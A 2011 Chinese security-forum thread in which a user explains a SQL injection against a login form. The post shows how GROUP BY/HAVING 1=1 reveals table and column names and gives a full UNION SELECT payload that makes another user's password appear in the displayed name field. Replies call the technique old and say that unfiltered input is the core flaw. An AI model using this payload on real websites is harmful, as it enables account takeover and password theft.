首页
社区
课程
招聘
[旧帖] [原创]想到一个注入语句 0.00雪花
发表于: 2011-7-10 10:46 1361

[旧帖] [原创]想到一个注入语句 0.00雪花

2011-7-10 10:46
1361
假如登录需要输入帐号
而你有一个帐号ABC
通常网站会发出这么一个查询语句:select * from table where loginname='ABC'
数据库服务器通常会返回类似下面的查询结果
id     loginname      name              password
99     ABC              Myname          Mypassword

然后网站通过比较用户输入的密码与所获取的密码比较,如果正确就让用户登录
注入时先使用group by语句及having 1=1配合可以获得表名table 及列名id,loginname,name,password

然后构造这么一个注入语句
ABCxxxx' union select id,loginname,name=(select password from table1 where name='someone'),password from table where loginname='ABC'--   填入登录界面的输入框中,并输入你的密码
其中someone是某人的名字,ABCxxxx是为了使union 前半部分没有返回结果,因为我需要的只是union后面的sql语句的结果

之后登录,如果幸运的话登录后的用户界面中的名字就变成用户someone的密码了
因为数据库服务器可能会返回下面的查询结果
id     loginname      name                    password
99     ABC              someone的密码          Mypassword

版主可不可以给些分

[课程]FART 脱壳王!加量不加价!FART作者讲授!

收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 588
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
这样得东西好像10年前就有了吧

现在不过虑所有来自用户得数据得程序,都差不多被归于垃圾程序行列了.
2011-7-10 11:00
0
雪    币: 739
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
谢谢楼主分享
2011-7-11 10:08
0
游客
登录 | 注册 方可回帖
返回
//